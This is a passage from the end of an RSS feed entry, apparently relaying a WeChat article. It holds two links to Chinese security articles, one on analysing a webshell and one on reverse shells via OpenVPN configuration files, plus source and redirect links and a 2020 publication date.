0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">对某攻击队的Webshell进行分析 - <a href="https://gh0st.cn/archives/2019-08-21/1" target="_blank">https://gh0st.cn/archives/2019-08-21/1</a></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - <a href="https://www.freebuf.com/articles/terminal/175862.html" target="_blank">https://www.freebuf.com/articles/terminal/175862.html</a></p>



<p><a href="2247483662">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d7b97e84&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483662%26idx%3D1%26sn%3D58e7289f496e431f6fbc8fbf0a74f903%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 15 Aug 2020 16:48:00 +0800</pubDate>
    </item>
  </channel>
</rss>